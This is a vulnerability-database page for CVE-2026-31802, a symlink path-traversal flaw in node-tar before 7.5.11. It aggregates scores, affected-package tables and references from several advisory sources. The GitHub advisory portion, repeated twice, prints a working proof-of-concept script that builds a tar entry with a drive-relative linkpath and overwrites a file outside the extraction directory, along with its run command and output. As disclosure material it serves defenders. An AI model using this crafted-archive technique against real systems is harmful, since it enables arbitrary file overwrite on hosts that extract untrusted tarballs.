CVE-2026-31802
node-tar Symlink Path Traversal via Drive-Relative Linkpath
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
node-tar Symlink Path Traversal via Drive-Relative Linkpath
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
- Record
CVE-2026-31802- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-10403
8.2
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
- Record
EUVD-2026-10403- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9ppj-qmqm-q256
8.2
node-tar Symlink Path Traversal via Drive-Relative Linkpath
Summary
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
stripAbsolutePath()removesC:and rewrites the value to../../../target.txt.- The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
- Symlink creation uses the rewritten value (
../../../target.txt) from nested patha/b/l. - Writing through the extracted symlink overwrites the outside file (
../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with [email protected].
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
- Record
GHSA-9ppj-qmqm-q256- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.2
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
- Record
CVE-2026-31802- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.2
node-tar Symlink Path Traversal via Drive-Relative Linkpath
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
- Record
CVE-2026-31802- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-31802
5.5
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
- Record
DEBIAN-CVE-2026-31802- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
Show 15 moreShow less
OSVGHSA-9ppj-qmqm-q256
8.2
node-tar Symlink Path Traversal via Drive-Relative Linkpath
Summary
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
stripAbsolutePath()removesC:and rewrites the value to../../../target.txt.- The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
- Symlink creation uses the rewritten value (
../../../target.txt) from nested patha/b/l. - Writing through the extracted symlink overwrites the outside file (
../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with [email protected].
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
- Record
GHSA-9ppj-qmqm-q256- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-31802
5.5
CVE-2026-31802 in tar - Patched by Root
Root has patched CVE-2026-31802 in the tar package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-31802- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-03
OSVUBUNTU-CVE-2026-31802
8.2
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
- Record
UBUNTU-CVE-2026-31802- CVSS 4.0
- 8.2 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N - CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVAZL-101781 No score
CVE-2026-31802 affecting package python-tensorboard 2.16.2-6
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
- Record
AZL-101781- Updated
- 2026-11-02
OSVCLSA-2026-1773533794 No score
TuxCare security update for tar (6 CVEs)
TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.
- Record
CLSA-2026-1773533794- Updated
- 2026-11-02
OSVCLSA-2026-1776731786 No score
TuxCare security update for tar (1 CVE)
TuxCare rebuilt tar to address 1 CVE. Fixed in 2.1.1-tuxcare.3.
- Record
CLSA-2026-1776731786- Updated
- 2026-11-02
OSVCLSA-2026-1776818213 No score
TuxCare security update for tar (2 CVEs)
TuxCare rebuilt tar to address 2 CVEs. Fixed in 1.0.3-tuxcare.3.
- Record
CLSA-2026-1776818213- Updated
- 2026-11-02
OSVCLSA-2026-1783904631 No score
TuxCare security update for tar (3 CVEs)
TuxCare rebuilt tar to address 3 CVEs. Fixed in 6.1.15-tuxcare.1.
- Record
CLSA-2026-1783904631- Updated
- 2026-11-02
OSVCLSA-2026-1787823954 No score
TuxCare security update for tar (4 CVEs)
TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.1.15-tuxcare.1.
- Record
CLSA-2026-1787823954- Updated
- 2026-11-02
OSVCLSA-2026-1787916963 No score
TuxCare security update for tar (5 CVEs)
TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.2.0-tuxcare.2.
- Record
CLSA-2026-1787916963- Updated
- 2026-11-02
OSVCLSA-2026-1792074268 No score
TuxCare security update for tar (8 CVEs)
TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.2.0-tuxcare.5.
- Record
CLSA-2026-1792074268- Updated
- 2026-11-02
OSVCLSA-2026-1792074305 No score
TuxCare security update for tar (12 CVEs)
TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.
- Record
CLSA-2026-1792074305- Updated
- 2026-11-02
OSVCLSA-2026-1792164662 No score
TuxCare security update for tar (8 CVEs)
TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.1.6-tuxcare.1.
- Record
CLSA-2026-1792164662- Updated
- 2026-11-02
OSVCLSA-2026-1792369404 No score
TuxCare security update for tar (9 CVEs)
TuxCare rebuilt tar to address 9 CVEs. Fixed in 6.1.0-tuxcare.2.
- Record
CLSA-2026-1792369404- Updated
- 2026-11-02
OSVCLSA-2026-1793307830 No score
TuxCare security update for tar (11 CVEs)
TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.
- Record
CLSA-2026-1793307830- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
tarnpm |
through 7.5.10 | 7.5.11 |
python-tensorboardAzure Linux:3 |
through 2.16.2-6 | None known |
tarTuxCare:npm From an advisory covering 6 CVEs |
6.2.1-tuxcare.0 up to 6.2.1-tuxcare.1, plus listed versions 6.2.1 |
6.2.1-tuxcare.1 |
tarTuxCare:npm |
2.1.1-tuxcare.0 up to 2.1.1-tuxcare.3, plus listed versions 2.1.12.1.1-tuxcare.12.1.1-tuxcare.2 |
2.1.1-tuxcare.3 |
tarTuxCare:npm From an advisory covering 2 CVEs |
1.0.3-tuxcare.0 up to 1.0.3-tuxcare.3, plus listed versions 1.0.31.0.3-tuxcare.11.0.3-tuxcare.2 |
1.0.3-tuxcare.3 |
tarTuxCare:npm From an advisory covering 3 CVEs |
6.1.15-tuxcare.0 up to 6.1.15-tuxcare.1, plus listed versions 6.1.15 |
6.1.15-tuxcare.1 |
tarTuxCare:npm From an advisory covering 7 CVEs |
6.2.0-tuxcare.0 up to 6.2.0-tuxcare.5, plus listed versions 6.2.06.2.0-tuxcare.16.2.0-tuxcare.26.2.0-tuxcare.36.2.0-tuxcare.4 |
6.2.0-tuxcare.5 |
tarTuxCare:npm From an advisory covering 11 CVEs |
6.0.2-tuxcare.0 up to 6.0.2-tuxcare.6, plus listed versions 6.0.26.0.2-tuxcare.16.0.2-tuxcare.26.0.2-tuxcare.36.0.2-tuxcare.46.0.2-tuxcare.5 |
6.0.2-tuxcare.6 |
tarTuxCare:npm From an advisory covering 8 CVEs |
6.1.6-tuxcare.0 up to 6.1.6-tuxcare.1, plus listed versions 6.1.6 |
6.1.6-tuxcare.1 |
tarTuxCare:npm From an advisory covering 9 CVEs |
6.1.0-tuxcare.0 up to 6.1.0-tuxcare.2, plus listed versions 6.1.06.1.0-tuxcare.1 |
6.1.0-tuxcare.2 |
Show 14 moreShow less
| Package | Affected | Fixed |
|---|---|---|
tarTuxCare:npm From an advisory covering 10 CVEs |
4.4.19-tuxcare.0 up to 4.4.19-tuxcare.5, plus listed versions 4.4.194.4.19-tuxcare.14.4.19-tuxcare.24.4.19-tuxcare.34.4.19-tuxcare.4 |
4.4.19-tuxcare.5 |
node-tarDebian:14 |
before 6.2.1+ds1+~cs6.1.13-10, plus listed versions 6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-5 Show 5 moreShow less6.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-1 |
6.2.1+ds1+~cs6.1.13-10 |
tarnpm |
before 7.5.11 | 7.5.11 |
tarRoot:npm |
before 6.1.11-aikido.10 | 6.1.11-aikido.107.5.1-aikido.127.5.7-aikido.44.4.19-aikido.36.2.1-aikido.87.5.9-aikido.27.4.3-aikido.86.2.0-aikido.107.5.1-aikido.96.1.11-aikido.64.4.19-aikido.47.5.1-aikido.106.2.1-aikido.96.1.11-aikido.76.1.14-aikido.46.1.11-aikido.86.2.1-aikido.104.4.19-aikido.57.4.3-aikido.96.2.1-aikido.116.1.11-aikido.94.4.19-aikido.67.4.3-aikido.106.1.14-aikido.57.5.1-aikido.117.5.9-aikido.37.5.9-aikido.47.5.9-aikido.54.4.19-aikido.76.2.1-aikido.127.5.9-aikido.66.1.14-aikido.67.4.3-aikido.116.1.13-aikido.76.1.13-aikido.87.4.3-aikido.124.4.13-aikido.16.2.0-aikido.117.5.7-aikido.57.5.7-aikido.6 |
@rootio/tarRoot:npm |
before 6.2.1-root.io.7 | 6.2.1-root.io.77.5.7-root.io.27.4.3-root.io.67.5.1-root.io.76.2.0-root.io.87.4.3-root.io.77.5.1-root.io.86.2.0-root.io.97.5.9-root.io.17.5.7-root.io.36.1.11-root.io.104.4.19-root.io.27.5.1-root.io.127.5.7-root.io.44.4.19-root.io.36.2.1-root.io.87.5.9-root.io.27.4.3-root.io.86.2.0-root.io.107.5.1-root.io.96.1.11-root.io.64.4.19-root.io.47.5.1-root.io.106.2.1-root.io.96.1.11-root.io.76.1.14-root.io.46.1.11-root.io.86.2.1-root.io.104.4.19-root.io.57.4.3-root.io.96.2.1-root.io.116.1.11-root.io.94.4.19-root.io.67.4.3-root.io.106.1.14-root.io.57.5.1-root.io.117.5.9-root.io.37.5.9-root.io.47.5.9-root.io.54.4.19-root.io.76.2.1-root.io.127.5.9-root.io.66.1.14-root.io.67.4.3-root.io.116.1.13-root.io.76.1.13-root.io.87.4.3-root.io.124.4.13-root.io.16.2.0-root.io.117.5.7-root.io.57.5.7-root.io.6 |
node-tarUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 0.1.18-10.1.18-1ubuntu0.1~esm1 |
None known |
node-tarUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 1.0.3-21.0.3-2ubuntu0.1~esm1 |
None known |
node-tarUbuntu:18.04:LTS |
All versions, plus listed versions 2.2.1-1 |
None known |
node-tarUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 4.4.10+ds1-24.4.10+ds1-2ubuntu14.4.10+ds1-2ubuntu1+esm1 |
None known |
node-tarUbuntu:22.04:LTS |
All versions, plus listed versions 6.1.7+~cs11.3.10-16.1.11+~cs11.3.10-16.1.11+ds1+~cs6.0.6-1 |
None known |
node-tarUbuntu:24.04:LTS |
All versions, plus listed versions 6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-3 |
None known |
node-tarUbuntu:25.10 |
All versions, plus listed versions 6.2.1+~cs7.0.8-1 |
None known |
node-tarUbuntu:26.10 |
All versions, plus listed versions 6.2.1+ds1+~cs6.1.13-107.5.22+~4.0.1-1 |
None known |
node-tarUbuntu:26.04:LTS |
All versions, plus listed versions 6.2.1+~cs7.0.8-16.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-10 |
None known |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | Jvr2022/CVE-2026-31802 | 2026-03-14 |
| PoC in GitHub | Recorded-texteditor120/CVE-2026-31802 | 2026-03-28 |
| PoC in GitHub | ridhinva/npm-tar-path-traversal-scanner | 2026-05-22 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | OSV | |
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-31802 is a high vulnerability (CVSS 8.2) in Isaacs Node-tar, published March 9, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in tar 7.5.11.
References
github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256
github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad
nvd.nist.gov/vuln/detail/CVE-2026-31802
github.com/advisories/GHSA-9ppj-qmqm-q256
github.com/CVEProject/cvelistV5/tree/main/cves/2026/31xxx/CVE-2026-31802.json
security-tracker.debian.org/tracker/CVE-2026-31802
github.com/isaacs/node-tar
ubuntu.com/security/CVE-2026-31802
cve.org/CVERecord?id=CVE-2026-31802